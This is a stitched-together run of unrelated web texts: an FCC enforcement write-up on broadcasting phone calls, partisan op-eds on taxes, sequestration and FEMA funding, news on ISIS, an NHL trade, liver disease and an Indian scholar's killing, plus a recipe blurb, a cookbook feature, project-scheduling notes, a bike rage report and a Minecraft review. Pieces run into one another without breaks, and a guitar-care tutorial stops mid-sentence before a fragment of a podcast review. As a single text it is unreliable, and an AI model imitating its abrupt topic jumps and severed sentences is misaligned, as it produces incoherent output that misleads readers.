The station also suggested that, from time to time, it aired scripted bits on the air, and this could have been a scripted segment, not an actual telephone call. Again, this was rejected. The FCC determined that, as the licensee did not specifically state that this particular program contained scripted segments, and the evidence that scripted segments did from time-to-time occur came from other stations in the company, this claim could be given no weight.
Finally, the FCC concluded that the $25,000 fine was appropriate given that two calls were aired on two different stations. The FCC rejected a claim that, as the stations were simulcast to cover the diverse terrain of its market, the two stations should be considered as one. The Commission also justified its increase in normal base fine for this violation as there were other instances of noncompliance with Section 73.1206 by the licensee, and as the licensee had substantial resources, justifying a fine of this magnitude (even though the licensee claimed that, despite its large revenues, it actually had a net loss – the FCC finding that the gross revenues, not the profits of the company, were important in accessing the amount of the fine).
In the second case, the station called a woman and told her that her husband had been in a motorcycle accident and died – which was untrue – before being told that the call was a joke. The station sought to avoid the fine by arguing that it did not make or record the call. Instead, the call was done by a program vendor who supplied the station with such bits for its program. While the rule prohibits the recording by the licensee of telephone calls without the consent of the person being called, the FCC said that, even though the call was made by a third-party vendor, as the licensee had contracted with this vendor to provide the bits for the show, the licensee was liable for his actions. To hold otherwise would, the FCC said, allow licensees to avoid its rules simply by hiring third parties.
After-the-fact consent by the person called was also rejected as a defense. The FCC concluded that the rule is to protect the privacy of an individual when they are called and the mere fact that they later consent does not protect them (or others in the future) from calls made in violation of the rules.
This case makes clear that the FCC is intent on the enforcement of its telephone rule, and that stations need to be very careful in recording calls for broadcast without first obtaining the consent of the person being called. As set out above, a litany of potential defenses to the violations were rejected by the FCC – leaving very little if any room for fighting off a fine should a station be caught having made a recorded or broadcast a call without permission.Overhauling the tax code before Christmas would be a difficult task under “normal” conditions, yet Republicans in Congress are pledging to do just that with their tax bill.
There’s just one big problem: It is a supremely poor tax plan that doesn’t provide middle-class tax relief while also serving as a substantial handout to the wealthy.
A University of Chicago survey released Tuesday polled 42 of the nation’s leading economists about the Republican tax plan — and all but one said they do not agree with claims that the plan will grow the economy.
This survey is yet another piece of analysis that eviscerates a popular White House talking point that by cutting taxes for corporations, the GOP tax plan would create so much economic growth that the average American family would get a raise of about $4,000 dollars.
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Earlier this week, analysis from the non-partisan Tax Policy Center found that, despite claims from White House officials like chief economic adviser Gary Cohn, the tax cuts will not pay for themselves through growth. In total, the House bill would yield around $169 billion in additional tax revenue, nowhere near enough to cover the roughly $1.5 trillion in revenue loss from a corporate tax cut.
This University of Chicago survey echoes another survey conducted by the institution in May. Back then, 35 out of 37 economists believed the Trump tax cuts wouldn’t pay for themselves; the other two didn’t understand the question.
Not only is the GOP tax plan unpopular among prominent economists, but the American public is also beginning to catch on. An ABC News-Washington poll from earlier in the month found that Americans oppose the tax plan by a 17 point margin, believing it only benefits the wealthy. This polling was conducted before the Senate Finance Committee announced it would include a repeal of the individual mandate — a provision of the Affordable Care Act that requires individuals be insured — to help pay for a corporate tax cut.
In addition to leaving 13 million Americans uninsured, repealing the individual mandate might also cost Republicans a few key votes in the Senate. Sen. Susan Collins (R-ME) was instrumental in ultimately voting against the multiple Republican efforts to repeal and replace Obamacare and has stated the plan would harm middle class families.
“I have data that demonstrates for certain middle-income individuals and couples, who do not qualify for subsidies under the ACA… that the premium increase will outweigh the tax cut that they get,” Collins told reporters. “I suspected this, based on what I know about insurance markets, but now I have the actual data.”
Senate Republicans can only afford to lose two votes.What do vegans eat for breakfast? I get that question a lot. I even remember asking myself that when I first decided to go vegan and need ideas.
The first vegan breakfast-y item I ever made was banana bread. I took my mom’s recipe which is a family favorite and found substitutes for the eggs and butter. It turned out super good and I’ve since veganized a TON of other family recipes like pumpkin bread, pancakes and even breakfast sausage!
I used to love making eggs on weekend mornings when I had more time to prepare an elaborate meal. Since going vegan, tofu scramble has been my go-to for those times when I want to make a hearty breakfast meal.
It’s really versatile – you can eat it straight up with some veggies, make it into a breakfast burrito or my newest creation…a breakfast pita!
I combined tofu scramble with veggies and cashew queso to create a super satisfying plant-based breakfast that would make anyone’s mouth water. Enjoy on it’s own or maybe go all out and add some tempeh bacon!And the Islamic terror organisation is reported to have recruited a number of new English speaking operatives in recent months in a major bid to communicate messages ahead of the day. US special forces will be on high alert when Mr Trump takes over as 45th President of the United States on Friday, January 20, 2017, in Washington, DC. Security analysts have been following communications between members of the group.
AFP/AP ISIS have declared Friday January 20 to be Bloody Friday the same day as Mr Trump's inauguration
GETTY The US will be on high alert as Mr Trump takes office
According to reports ISIS has expanded production of special editions of official videos with English subtitles in recent weeks and with a view to reinforcing targets on US soil. And their ISIS-linked Amaq Agency Telegram channels have resumed posting on social networks after they were went temporarily offline following a terror attack in the US last Monday.
GETTY ISIS have waged a war on the Middle East including Kobanî in Northern Syria
At least nine people were injured when a killer drove a car into a crowd on the campus of Ohio State University. The attacker began stabbed those at the scene with a large knife, Columbus Police say. He was later identified as 18-year-old Somali refugee Abdul Razak Ali Artan and killed at the scene. ISIS also released a communication on its al-Naba arabic publication this week confirming he was a member of their group.
GETTY A man who pledged allegiance to ISIS killed 50 people in Florida this summer
The news comes as Britain was revealed to be among the countries which are "high on the target list" for aggression from the group, the European Union's law enforcement body warned. Europol said that - in the wake of murderous attacks in Belgium and France - extremists are very likely to strike again in the near future. All EU member states participating in the coalition against ISIS - including Britain - are regarded by the group as "legitimate targets".
A report published today by Europol said: ”France remains high in the target list for ISIS aggression in the EU, but so too do Belgium, Germany, The Netherlands and the United Kingdom.” It added: "Estimates from some intelligence services indicate several dozen people directed by ISIS may be currently present in Europe with a capability to commit terrorist attacks, and that there are indications that ISIS has been preparing terrorist attacks in Europe since 2013." Intelligence suggests that ISIS has assembled teams in Syria which are sent to the EU tasked with carrying out attacks, the study said.
The fight against ISIS Fri, November 18, 2016 The battle against ISIS militants (also abbreviated as Daesh, ISIL, IS and Islamic State) continues in the Middle East. Play slideshow Getty 1 of 183 Forces battle against ISISHow the world’s biggest spenders attack the most conservative government spendthrift since Eisenhower
Speaking to House Democrats Friday, Bill Clinton reminded his audience how Republicans’ concerns about the deficit depend on who is in the White House.
Having eliminated the deficit he inherited from Ronald Reagan and George H.W. Bush and then being forced to watch the work he did be erased by George W. Bush in months, Clinton knows better than anyone how convenient the GOP’s deficit “concerns” can be.
After we’ve created jobs for 35 months in a row and are finally seeing real evidence of a housing recovery, the GOP has decided that they are willing — no, glad! — that the sequestration that they voted for in 2011 is going into effect, even though the CBO has made it clear that this would threaten 1 million jobs and likely put us back in recession.
But the GOP is fine with this because they say it was the President’s idea, which is like saying that paying a ransom was the kidnapped child’s mother’s idea. The sequestration only exists because the GOP took the debt limit hostage for the first time in history in 2011 and demanded cuts that have proved to hurt the economy.
I believe they did this because Republicans understand better than anyone else why they won in 2010. It wasn’t because they cared about spending or debt or even Obamacare — growth in spending under Obama is lower than it’s been since the 1950s.
The GOP won in 2010 because the economy sucked.
So they slowed down the recovery in 2011 to try to repeat their success in 2012. Because the president made the right choices with the measures to rescue the economy in 2009 and eke out a second stimulus in late 2010, it didn’t work.
Now in 2013, the GOP is willing to go right into a sequestration that they admit will “help the enemy” and “tank the economy” because Charles Krauthammer has convinced them that they they will be able to blame it on the president. Hey, it worked in 2010!
The choose this path as if the State of the Union won’t give President Obama a chance to lay out the reality of the situation: Republicans prefer cuts that kill jobs to ending tax breaks on big oil, private jets and hedge fund managers who pay lower tax rates than nurses.
The Transom‘s Ben Domenech says the president has misjudged the GOP:
This is a post-financial crisis, post-TARP, post-bailout Republican Party, where concerns about unrestricted spending and out of control budgets take precedence over concerns about spending at the Pentagon.
Mark this wishful thinking for when the GOP does in some way cave on the sequestration. Domenech is imagining that the libertarian forces of the Tea Party have won out to the essence of his party, which is to pleasure defense contractors, bankers and polluters who will all suffer if the cuts go into effect. I’d have to believe something like this to be a Republican these days, too.
But the truth is much darker.
The only reason the GOP is even willing to consider letting the sequestration go through is because they’re willing to sabotage the economy. A freeze in defense spending and reducing nuclear weapons stockpiles would be welcome measures to restore fiscal sanity.
But cuts now, austerity now, will have the same effect here as they are having in the UK — recession and more debt.
The GOP has been willing to blow up the debt for three decades. They were willing to stall the economy in the mid 90s with government shutdowns. But since Bush destroyed the GOP brand with reckless warmongering, fiscal insanity and undeniable incompetence, they’ve dropped all pretense.
They’re willing to do just about anything — from stopping people for voting to sabotaging the economy — if it will help them get power. The least we can do is point that out.For more information, see forum flyer here: http://illinois.edu/cms/6669/forum_flyer.pdf As the University of Illinois Police Department searches for Yingying Zhang, a 26-year-old visiting scholar who has been missing since June 9, we know our campus community has questions. We want to keep you updated on the investigation and available resources. Please join us at 6 p.m. on Thursday, June 15, at Altgeld Hall, room 314, for an international student and scholar safety forum. Representatives from the University of Illinois Police Department, Office of the Dean of Students, International Student and Scholar Services and others will be on hand for updates and to take questions regarding the search for Ms. Zhang and what you can do to help. Space is very limited. In order to accommodate campus community members, we are limiting attendance to students and scholars who are currently studying or working on campus. Because we want to facilitate a setting where attendees feel comfortable expressing themselves freely, this event is not open to members of the media. For the privacy and comfort of everyone in attendance, we ask that you not videotape or live stream the event. If you have any questions regarding the event, or if you will need disability-related accommodations in order to participate, please contact the University of Illinois Police Department at 217-333-1216 or police@illinois.edu.Please turn on JavaScript. Media requires JavaScript to play. The inventor of arguably the world's most infamous machine-gun wanted to be a poet in his youth, he has revealed. Russian celebrities and politicians have been paying tribute to Mikhail Kalashnikov, who turned 90 on Tuesday, at a Kremlin reception. Mr Kalashnikov is the inventor of the AK-47 assault rifle, beloved of guerrillas around the world. At the ceremony, President Dimitry Medvedev handed Mr Kalashnikov the prestigious Hero of Russia award. Accepting the award, he fired off a brief patriotic poem he wrote. 'Bad poet' Mr Kalashnikov is the author of six books, as well being an amateur poet. "I wrote poetry in my youth, and people thought I would become a poet. But I didn't become one," he told reporters. "There are many bad poets out there without me. I went along a different path," he said. Over 100 million AK-47s are believed to be in circulation President Medvedev led the accolades saying the AK-47 assault rifle is "a national brand which evokes pride in each citizen". He was also lauded from space in a specially recorded greeting from Russian cosmonauts on the International Space Station. Mr Kalashnikov designed the weapon after being wounded fighting the Nazis during World War II. His weapon can withstand the rugged demands of the battlefield better than any other, he said, but it was not his fault it had become so popular with insurgents and gangsters. Over 100 million are believed to be in circulation. "I created a weapon to defend the fatherland's borders. It's not my fault that it was sometimes used where it shouldn't have been. This is the fault of politicians," he said. Mr Kalashnikov was born to a poor peasant family in Russia's southern Altai region in 1919. In recent years he has attempted to diversify the Kalashnikov brand - most famously with Kalashnikov vodka in 2004.
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StumbleUpon What are these? E-mail this to a friend Printable versionBUFFALO, N.Y. -- The Winnipeg Jets sent embattled left winger Evander Kane to the Buffalo Sabres in a seven-player trade Wednesday, loading up in hopes of their first playoff run since moving from Atlanta.
The Jets received defenseman Tyler Myers, forwards Drew Stafford and Joel Armia, the rights to 2014 second-round pick Brendan Lemieux and Buffalo's latest first-round pick in 2015.
"I'm excited about what this trade brings to our organization," Jets general manager Kevin Cheveldayoff said. "At the end of the day, it is a big deal, but we think it's something that's going to help us both in the short term and really help us in the long term."
Buffalo, the league's last-place team, continues its rebuild by acquiring Kane, defenseman Zach Bogosian and college goaltender Jason Kasdorf. General manager Tim Murray first expressed interest in Kane last week once it became clear the player wanted out of Winnipeg.
Kane was a healthy scratch for the Jets' game against his hometown Vancouver Canucks on Feb. 3. A few days later, the team announced Kane would have season-ending surgery on his left shoulder.
"In his mind, he probably wanted a more important role," Murray said. "He can be an important guy here. He's going to be a big part of any success we have here, I believe.
"He plays hard. He plays in traffic. He doesn't play a perimeter game. He plays the game right."
Evander Kane was the centerpiece of a blockbuster deal completed Wednesday between the Sabres and Jets. Jonathan Kozub/NHLI/Getty Images
Kane is expected to be ready for training camp. The fourth overall pick in 2009 was Winnipeg's biggest trade chip. The 6-foot-2, 195-pound winger had 10 goals and 12 assists in 37 games this season.
Myers, 25, was the league's top rookie in 2010 and has played in 365 games for Buffalo since being drafted 12th overall in 2008. He has recorded 151 points in six seasons and is under contract through the 2018-19 season.
Stafford, 29, has scored 145 goals and 177 assists in nine seasons with the Sabres and will allow Winnipeg to move Dustin Byfuglien back to his natural position of defense. Stafford is an unrestricted free agent after the season.
One condition of the trade is that Buffalo will retain half of the remaining salary of Stafford, who was scheduled to make $4 million this season, a source told ESPN.
Armia, Lemieux and the first-round pick can be assets for Winnipeg ahead of the March 12 trade deadline or work as chips for the future.
Murray said he knew getting Kane would be expensive.
"Either you're in and you know you're going to pay a big price, or you're out," Murray said. "As of today, we're in."
Buffalo offsets the loss of Myers with Bogosian, a 6-3 defender with 40 goals and 87 points in 393 career games.
"It's not an easy thing to have to include someone like Zach," Cheveldayoff said. "I can't speak for him, but I think it will be exciting for him. He's from upstate New York, and I think it will be an opportunity for him to be part of a growing organization."
Bogosian is signed through the 2018-19 season, and Kane is under contract through 2017-18.
The Sabres are in the midst of a long rebuilding process after spending the past few seasons purging high-priced players and veterans. A year ago, they traded goalie Ryan Miller and captain Steve Ott to St. Louis, and earlier in the season they dealt leading scorer Thomas Vanek to the New York Islanders.
Buffalo also acquired goaltender Anders Lindback and a conditional third-round pick from the Dallas Stars for goalie Jhonas Enroth on Wednesday. A source said the conditional on the third-round pick is that if Enroth wins four playoff games for the Stars this spring, the pick becomes a second-rounder instead.
The team is building through the draft and could be in line for one of the top two picks in June. In Bogosian and Kane, Murray thinks he has pieces to keep the team out of the top end of the draft by next season.
"I believe in these two players," Murray said. "I think that they make us a better organization and a better team. We're going to be adding young guys as we go along, and they need the right people to follow. I think these two guys fix that."
ESPN's Pierre LeBrun and Craig Custance and The Associated Press contributed to this report.Deaths from liver disease in England have jumped by a quarter with alcohol the major cause, men the biggest victims and fatalities more prevalent in the north, new statistics show.
The first ever National End of Life Care Intelligence Network report said the vast majority of the fatalities were people under 70, with more victims now in their 40s.
But obesity, hepatitis C and hepatitis B have also helped lead to the increase in total liver disease deaths between 2001 and 2009.
The findings are in contrast to other major causes of death – such as heart disease – which have been declining in recent years. In 2001, 9,231 people died of the condition, but by 2009 it was 11,575 people, with 60 per cent being men and 40 per cent women.
Although numbers of deaths due to cancer, vascular or respiratory disease are still much greater, liver disease disproportionately kills people at a much younger age.
A striking 90 per cent of people who die from liver disease are under 70, the report revealed. More than one in 10 deaths of people in their 40s are from liver disease.
Alcohol-related deaths
When measured as “years of life lost”, liver disease is much more prominent, the report authors said. Most of these deaths were from alcohol-related liver disease, which accounted for well over a third (37 per cent) of all liver disease deaths.
But the prevalence of deaths from alcohol-related liver disease varied greatly between males (41 per cent of liver disease deaths) and females (30 per cent of liver disease deaths).
Alcohol-related liver disease was also more common in the most deprived areas (44 per cent of liver disease deaths) than the least deprived areas (28 per cent of liver disease deaths).
The complex needs of many patients mean that more than two-thirds died in hospital, compared with 55 per cent of all deaths in 2009 from any cause – so leading to a greater cost to the NHS when treating the condition.Cookbook Explores Recipes From India's Most Famous Slum
Enlarge this image toggle caption Neville Sukhia/Courtesy of The Indecisive Chicken: Stories and recipes from eight Dharavi cooks Neville Sukhia/Courtesy of The Indecisive Chicken: Stories and recipes from eight Dharavi cooks
Once Mumbai's largest slum, Dharavi — made famous by the 2008 movie Slumdog Millionaire — is a teeming multi-ethnic and multicultural settlement claiming almost a million migrants from across India.
Dharavi houses hundreds of cottage and small-scale industries, run mostly by men, who make products like bags and belts, zari embroidery and pottery. It's also known for its huge recycling industry. Together, these enterprises generate more than $650 million a year, according to some reports.
The Indecisive Chicken Stories And Recipes From Eight Dharavi Women by Prajna Desai Paperback, 196 | purchase close overlay Buy Featured Book Your purchase helps support NPR programming. How?
In Dharavi, lower and lower-middle income residents pack their large families, sometimes 15 or 16 people, into small houses, where women manage all household work and have little opportunity for social interaction.
So when some of Dharavi's women joined a workshop expecting demonstrations on contemporary cuisine from art historian Prajna Desai, they were surprised to learn it was their recipes she was after.
"Most women who attended my workshop shared that they don't often leave home unless it is to run a specific errand or to take kids to school," Desai says. "At first, they were confused why anyone would even care to know what they were cooking every day."
Desai held 13 workshops between June and September 2014 — and eight of the women were able to attend every meeting, a commitment required to be part of the book she planned to publish. Desai's new cookbook, The Indecisive Chicken: Stories And Recipes From Eight Dharavi Cooks, draws attention to what India's working class cooks — and eats — every day.
The book evolved from Dharavi Biennale 2015 — a two-year joint initiative between the Mumbai charity SNEHA, which works to improve women's health, and Wellcome Trust, a U.K.-based philanthropic group dedicated to improving global health — that culminated in an exhibition in Dharavi. The goal was to both discuss health issues with the residents of the slum — and to acknowledge their somewhat underestimated contribution to the city's economic and cultural life.
Enlarge this image toggle caption Neville Sukhia/Courtesy of The Indecisive Chicken: Stories and recipes from eight Dharavi cooks Neville Sukhia/Courtesy of The Indecisive Chicken: Stories and recipes from eight Dharavi cooks
Desai's workshop included discussions on nutrition, self-worth, food aesthetics, women's labor and more. Mumbai-born, Desai is an art historian and curator of contemporary art with a doctorate in pre-Columbian art and architecture from Yale University. She splits her time between Mumbai and Tokyo.
The Indecisive Chicken combines the recipes and life stories of the eight women from Dharavi. The recipes are traditional, ones they cook at home regularly and consider unique to their community or region of origin. Some are unique to their families. These dishes are delectable, yet missing from the menus of restaurants that serve Indian food.
The book showcases cuisine from women of India's working class. A monograph on each contributor transports the reader into her world and gives a peek into the contemporary history of Dharavi, which is really a microcosm of India.
The Indecisive Chicken gets its name from a story told by one of the Dharavi women, who said she didn't cook chicken because her husband thinks it's a "silly bird" — and then reflected that he didn't really like chicken, anyway.
Desai's book isn't about "curries," as Indian food is largely interpreted in the West. With an assortment of 35 recipes originating from communities all around India, it offers an eye-opening look at the sheer diversity of Indian cooking.
Kavita Kawalkar, who has roots in the South Indian state Andhra Pradesh, provides a recipe for ambadi pulao, a main rice dish packed with carrots and moringa — a tropical plant, known in India as "drumstick tree," whose nutritious leaves and pods are a staple. She uses ambadi, the sour leaves of Hibiscus cannabinus, to make this light, flaky pilaf.
Enlarge this image toggle caption Neville Sukhia/Courtesy of The Indecisive Chicken: Stories and recipes from eight Dharavi cooks Neville Sukhia/Courtesy of The Indecisive Chicken: Stories and recipes from eight Dharavi cooks
"This dish is completely unheard of in restaurants," says Desai, as are most of the other recipes covered in the 196-page bilingual English-Hindi book. Kawalkar's technique of roasting base ingredients, such as onions and dry coconut, on fire creates a silkier feel and mellower tone in her preparations.
Meanwhile, another contributor, Sarita Rai, offers a recipe for pharas, "semi-circular pockets of rice dough" with a filling of split Bengal gram (or chickpea flour) and split black gram, served steamed or deep-fried. Rai is a shy mother of three who migrated to Dharavi eight years ago from a village in the North Indian state of Uttar Pradesh. Desai calls Rai a "silent philosopher" who prefers to observe quietly, but comes alive when conversations about cooking begin to flow. With pharas and another recipe, for alu puri — deep-fried Indian bread with potato stuffing — Rai brings the North Indian tradition of frying to the table.
Though many women in Dharavi stay home, a few hold jobs in addition to being responsible for the household. Rajani Borse, who contributes recipes from Maharashtra, a Western Indian state, is an Anganwadi worker: Her job, for the government, is to combat hunger and malnutrition among children from low-income groups. Borse spends a lot of her time after work caring for her parents who live with her.
Despite hailing from diverse regions of India, speaking different languages and honoring varying traditions, the women featured in the book have some common perceptions toward cooking and self-worth.
"They were surprised at being appreciated, as producers, thinkers and teachers even, of an everyday process [cooking] that the workshops revealed as something akin to art," Desai says.
Desai's book, she writes, is a window into Dharavi's diverse food culture. "Fine dining, one learns, does not reside only in restaurants. It brims up from homes, returns into it, and resurges through the heroism of such cooks."
Priti Salian is a Bangalore-based journalist who covers culture, travel and human-interest stories for The Guardian, CNN, The Christian Science Monitor, GOOD, Al Jazeera and many other publications.By Al Jazeera
Renowned Indian scholar and rationalist, M M Kalburgi, has been killed after being shot by unidentified men in the southern state of Karnataka, police have said.
Police said on Sunday that two men came to Kalburgi’s residence in the town of Dharwad, nearly 400km from IT hub of Bangalore, and shot him after he opened the door.
Kalburgi, a recipient of several literary awards, including the prestigious Sahitya Academy Award, was rushed to the district hospital by his family members but died on the way.
Dharwad City Police Commissioner Ravindra Prasad told Al Jazeera that police was considering it as a case of murder and a “special squad” has been formed to work on the case.
He said the police did not suspect any particular group and that the investigation was under way with a “clean mind”.
Read the full article by clicking thebelow.Hi, I'm Rob Magargal here at the Taylor Guitars repair facility. I'm here to show you some basic tricks that I know you're going to be able to do for the care and feeding of your guitar - basic waxing and re-stringing techniques.
I'm going to take the strings off first, we can take them all off at one time. I'm going to come up to the headstock, hold my strings and loosen them slowly. This is going to allow me to remove my strings at the tail end of the guitar. A lot of people feel they need to unwind them and then pull or cut them. I like come up to the tail of the guitar.
I'm going to grab my cutters. I'm going to lift out the pins, and the strings are going to stay in the slots. This is nice and easy, it's a way to not damage anything - you don't hurt yourself, you don't hurt the guitar. You can see how easy these are going to come out of the slot.
I'm going to hold these and come all the way up to my head stock now. Because we don't tie strings on Taylor Guitars these are going to unwind very easily, you can see how they are just coming right off. Before we get to the stringing part, I'm going to go over just the basics of cleaning the guitar.
I'm going to take my saddle out, because it might fall out. I'm going to grab my wax - we use Turtle Wax here at Taylor Guitar factories, its Express Shine and this is a clear wax. It's not the paste wax you'd normally think of for your car, but this is a car wax although any other guitar polish will do just fine as long as it doesn't |
/Edge of Tomorrow or Pet Sematary, only even more of an existential shit show.
Early on, Mike and Pete concede that when they were told their guests would be a fictional video game archetype and a sentient cap, they thought it was a joke. It is, indeed, an idea so goofy and out there that the episode easily could have been a trainwreck, or unlistenable. Instead, it’s a goddamn delight from start to finish. Where else are you going to hear Mario comparing his relationship with Bowser to General Ulysses Grant’s bond with Robert E. Lee?
The world of Super Mario is insane and perilous, confusing and dispiriting. In that respect, it’s like our own political world but with more angrily hurled turtle shells and bullets with butterfly wings.
Nathan Rabin is a father, the author of 5 books, a columnist and the proprietor, owner, Editor-in-Chief and sole writer for Nathan Rabin’s Happy Place, which can be found at nathanrabin.com.Scheduling a project without resources boils down to a sequencing problem where activities are iteratively scheduled while respecting the precedence relations between them. It results in the detection of the critical path which refers to a sub-part of the project network containing the activities that are critical to the project objective. In this article, the scheduling objective is assumed to be the minimization of the total project duration. Figure 1 displays a project network with 6 activities (A to F) and an activity duration estimate displayed above each node. This example will be used throughout this article to calculate the critical path.
Figure 1. An example project network
The determination of the critical path of a project requires three steps which are summarized along the following lines and discussed in the remainder of this article.:
Construct an earliest start schedule (ESS)
Construct a latest start schedule (LSS)
Calculate the activity slack
Earliest start schedule (ESS)
The earliest start of each activity can be calculated using forward calculations in the project network and is equal to the maximum of the earliest finishing times of all its predecessor activities. The earliest finish of an activity is defined as its earliest start time increased with its duration estimate. Figure 2 displays the ESS for the example project of figure 1, starting from the first activity A and working forwards to the last activity F, resulting in a total project duration of 15 time units.
Figure 2. An earliest start schedule for the example projectCharge filed in local bike rage incident
A Redmond cyclist is facing a felony charge following allegations that he smashed the window of a car that honked at him.
Filing malicious mischief charges, King County prosecutors contend Chad W. Olson, 42, threw his bicycle at a car on Oct. 16 after the Volvo's driver hit the horn.
According to charging documents, Redmond police were called to Grasslawn Park at 7031 148th Ave. N.E. following a report of a road rage incident. The cyclist had fled by the time police arrived.
The driver told police he honked his horn after the cyclist -- since identified as Olson -- "cut (him) off" by swerving into the roadway from the bicycle lane, a Redmond officer told the court.
Olson then chased after the car, pulling up beside the driver-side door when the car stopped for a red light, the officer continued. Olson then spit on the car window, struck the side mirror and circled around the car.
As the driver attempted to pull away, the cyclist threw his bicycle at the side of the car, the officer told the court.
An hour after the incident, Olson arrived at the Redmond Police Department hoping to report a road rage incident.
"Chad (Olson) stated his bike hit (the driver's) vehicle while he was attempting to avoid being hit by the vehicle," the Redmond officer told the court. "He stated any damage that occurred was based on his actions of self defense. …
"He did admit that he hit the driver side mirror out of anger."
Olson declined to make a written statement, the officer added.
The Redmond officer also noted that an examination of the car showed the bicycle must have been elevated when it struck the vehicle, based on the location of the damage. That observation supported the driver's version of events.
Officers found that a significant amount of damage had been done. Repairs were expected to cost $5,700.
Charged with first-degree malicious mischief, Olson has not been jailed.
Check the Seattle 911 crime blog for more Seattle crime news. Visit seattlepi.com's home page for more Seattle news."A big obstacle to viewing TTIP as a bilateral deal is Germany, which continues to exploit other countries in the EU as well as the U.S. with an 'implicit Deutsche Mark' that is grossly undervalued," the FT quoted Navarro as saying on Tuesday.
"The German structural imbalance in trade with the rest of the EU and the U.S. underscores the economic heterogeneity within the EU — ergo, this is a multilateral deal in bilateral dress."
The euro climbed after the comments, reaching a five-day high of $1.0764 and knocking the dollar index down 0.4 percent to below 100 for the first time in five days.
"Euro/dollar received a significant push high in the European session by the head of the U.S. National Trade Council, Peter Navarro, who accused Germany of being a currency manipulator," said Commonwealth Bank currency strategist Adam Myers.
The euro fell 23 percent against the dollar in the three years to December, and earlier this month traded as low as $1.0339, its lowest in 14 years.
—Reuters contributed to this report.After the Manchester bombing last month, local police officers, firefighters and paramedics were first at the scene. After the mass shooting inside the Pulse nightclub in Orlando in June 2016, the first to respond were local first responders. The same was true after San Bernardino in 2015 and after the terrorist attacks of Sept. 11, 2001.
Time and time again, we are reminded that local first responders are our first line of defense in response to acts of terrorism. Terrorist activity always carries significant national impact and requires our local governments to have additional manpower, specialized training and specific equipment available to our first responders. For years, the clear need to help fund these efforts has been recognized by politicians and presidents of both parties. That is why longtime homeland security policymakers were baffled upon learning President Trump’s budget decimates the very assistance that goes towards the first responders of our states and cities.
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President Trump’s fiscal year 2018 budget slashes the Federal Emergency Management Agency’s (FEMA) Federal Assistance programs by hundreds of millions of dollars. It does this by eliminating numerous assistance programs outright and by slashing the programs that our cities, states and transit systems need to prepare for and defend from terrorist attacks. With the terror threat constantly changing and plots becoming more and more complicated, now is not the time to make counterterror cutbacks.
In his budget, the president makes clear that he believes the responsibility for developing these capabilities rests at the local level. His budget aims to “encourage” states and cities to budget their own preparedness and demands that the cost burden be shifted from the federal government to our states and cities. However, this shows ignorance in how localities handle preparedness. State and local governments have budgetary problems of their own and do not have the resources to simply absorb this new cost. Acts of terror, while rare, have national impact and consequence, and we cannot expect every state, city and town to carry this burden on their own. This “you’re on your own” policy is completely contrary to the message the president often telegraphs to the nation’s law enforcement officers during his rallies and speeches.
But these cuts cannot be thought of as merely dollars and cents. They mean lost opportunities for first-responder training and harder choices about what protective gear and equipment communities can afford to provide first responders. It is clear that when the president released this budget he did not understand the long-term consequences of these shortsighted proposals. This budget stifles our first-responders’ resources and more troubling, their ability to prevent and to respond to attacks.
So where are the funds from these cuts going? Unfortunately, it seems that the Trump administration wants to free up funds to find money to build his unnecessary and unpopular border wall. It has long been demonstrated that a wall will not make our southern border more secure and stands no chance of preventing the kinds of terrorist attacks we are seeing at home and abroad. President Trump’s willingness to undermine the nation’s security and undercut our first responders just to fulfill a campaign promise is clear as day. Building a wall and simultaneously making massive cuts to FEMA’s first responder programs reflects President Trump’s fundamental misunderstanding of the threats our country faces and ignores the federal government’s obligations to its state and local partners to ensure national security. The budget is more than just ill-informed — it clearly has the potential to compromise the safety and security of all Americans.
At a time when terror threats are ever evolving, our local governments need federal support now more than ever. Abandoning the investments we have made to keep the country secure since 9/11 is simply intolerable. President Trump and his administration must reassess their priorities and make certain that they continue to support the first-responders in states and cities across the country. The security and safety of our nation depend on it.
Thompson is ranking member of the House Homeland Security Committee.
The views expressed by this author are their own and are not the views of The Hill.Ridin' Solo
It was one of the more peculiar announcements made during the last Nintendo Direct. The 3DS, a console many believe is already on its way out the door, is getting the biggest game in the world with the New Nintendo 3DS edition of Minecraft. After years of imitators on the handheld, owners of the dual screen sensation will finally have their chance to experience the phenomenon.
But is it too late?
Minecraft: New Nintendo 3DS Edition (New Nintendo 3DS)
Developer: Other Ocean
Publisher: Mojang
Released: September 13, 2017 (NA, JP)
MSRP: $29.99
I suppose it is pointless in 2017 to discuss the finer points of Minecraft's gameplay. With more than 120 million copies sold, chances are everyone who will read this brief review has already tried it and decided whether they love it or hate it. I can enjoy Minecraft, I just don’t like it on my 3DS.
Minecraft: New Nintendo 3DS Edition is roughly equivalent to Minecraft Pocket Edition Alpha 0.15.4. That update, which launched last year for mobile, brought with it fixes for stability and a villains skin pack. That skin pack is not included on the 3DS and is just one of several features missing here. As of the time of this review, there is no local or online multiplayer. The former has been promised to come in an update while the latter is up in the air. There are none of those cool Nintendo exclusive skins that launched alongside the Wii U and Switch versions. There also is no 3D, another feature possibly on its way through an update.
What is here are the very basics of Minecraft: survival mode & creative mode, as well as a few uninteresting skin and texture packs. Maps here are bigger than those found on the Wii U edition but with a poor field of vision, I don’t see very much of it at one time. The fog of the game reminds me greatly of the Nintendo 64 classic Turok and makes my many spelunking trips into an endless number of underground dead ends a bit more nerve-wracking. I guess that is one of the sacrifices that is made to make it work on the New 3DS hardware. There are also framerate issues, enemies attacking me even when they are facing the opposite direction, broken water physics, and game crashes to watch out for.
I do generally like the controls even if they do feel like a PC design poorly shoehorned onto a classic controller set-up. Early in the game, I have a few issues not being able to line the reticule exactly on the target, but 12 hours in that isn’t a problem anymore. The touchscreen does help with inventory management and both screens used in tandem simplifies crafting and cooking tasks.
Not everything with the two screens works as well as it should though. There is a map that is always present, but it will only show a single quadrant at a time, will occasionally blank out and doesn’t allow me to put any markers on it so I can find my way back to my house should I get lost. It’s also tiny, won’t zoom out and does a crap job of showing what the actual terrain looks like beyond letting me know whether it’s grass, desert, snow or water.
When emptying my pockets into chests I build, I have to have the empty slot actually showing on the screen for the system to recognize its existence. Chests have 27 slots, but only 15 show on the screen at once. So If I don’t physically scroll down on the touch screen I can’t empty items into the chest, even when I use the Quick Move button. I get that sounds nitpicky, but it’s just another example of how undercooked this version is.
The title of “New Nintendo 3DS Edition” is a misnomer as there is nothing here that makes this edition any more special than those already available. And now that we know it will not be included in the Better Together cross-play campaign, it almost feels dead on arrival. There is a chance, down the line, Minecraft: New Nintendo 3DS Edition will actually be worth its asking price, but that time is not now.
[This review is based on a retail build of the game provided by the publisher.]
